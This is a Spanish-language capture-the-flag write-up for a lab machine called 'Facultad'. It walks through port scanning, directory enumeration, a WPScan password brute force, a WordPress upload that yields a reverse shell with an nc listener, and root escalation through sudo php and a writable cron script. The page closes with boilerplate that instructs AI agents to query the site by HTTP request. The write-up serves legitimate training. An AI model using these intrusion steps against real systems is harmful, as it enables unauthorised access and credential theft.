# Facultad
### 🔍 RECONOCIMIENTO
En primer lugar, tras conectarnos a la máquina, utilizamos el comando:
```bash
ping -c 1 192.168.1.61
```
para verificar la conectividad de red.
A continuación, realizamos el comando:
```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.61
```
para realizar un escaneo de puertos y servicios detallado en la dirección IP.
Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.
### 🔎 **EXPLORACIÓN**
Se utiliza el comando:
```bash
sudo nmap -sCV -p22,80 -v 192.168.1.61
```
para obtener más información sobre esos puertos específicamente.
Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea como el Studium de una asignatura en este caso se llama Administración de Sistemas.
Ahora buscaremos directorios con la herramienta **Gobuster** a través de:
```bash
gobuster dir -u http://192.168.1.61/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```
Vamos a ver el contenido del directorio`/images`.
Nos la descargamos para realizar la técnica de esteganografía.
Vemos el contenido del archivo. Descubrimos dos posibles usuarios.
Vamos a ver el contenido del directorio`/education`.
Como podemos comprobar es un WordPress por lo que añadimos el dominio **facultad.thl** a **/etc/hosts**.
### 🚀 **EXPLOTACIÓN**
Al tener el directorio wp-admin sabemos que es un panel de login pero no tenemos las credenciales por lo que con **WPScan** enumeramos el usuario.
```bash
wpscan --url http://192.168.1.61/education/ --enumerate u,vp
```
Sabiendo el usuario tenemos que conseguir la contraseña.
```bash
wpscan --url http://192.168.1.61/education/ --passwords /usr/share/wordlists/rockyou.txt --usernames facultad
```
Ingresamos las credenciales en el panel de **login**.
Vemos que hay un apartado para subir archivos por lo que adjuntamos una [ReverseShell](https://www.revshells.com/).
Nos ponemos en escucha.
```bash
nc -nlvp 443
```
Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.
### 🔐 **PRIVILEGIOS**
Al estar dentro y ejecutar:
```bash
whoami
```
aún no somos **root**, por lo que hacemos:
```bash
sudo -l
```
para ver si hay algo para explotar.
{% embed url="" %}
```bash
sudo -u gabri php -r "system('/bin/bash');"
```
Como comprobamos en el mensaje la contraseña de Vivian está en el mail de Gabri.
Mostramos el contenido que es la contraseña codificada en **Brainfuck** por lo que la decodificamos.
Iniciamos sesión con las credenciales.
Tenemos permisos de **root** para ejecutar un script.
Vemos el contenido y así podemos modificarlo para escalar privilegios. Nos damos cuenta que el script se ejecuta cada minuto en el **/etc/crontab**.
```bash
#!/bin/bash
bash
```
Ejecutamos.
```
sudo /opt/vivian/script.sh
```
Ya somos **root** por lo que ahora encontraremos la bandera en sus directorios.
Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://beafn28.gitbook.io/beafn28/mis-ctfs/facultad.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.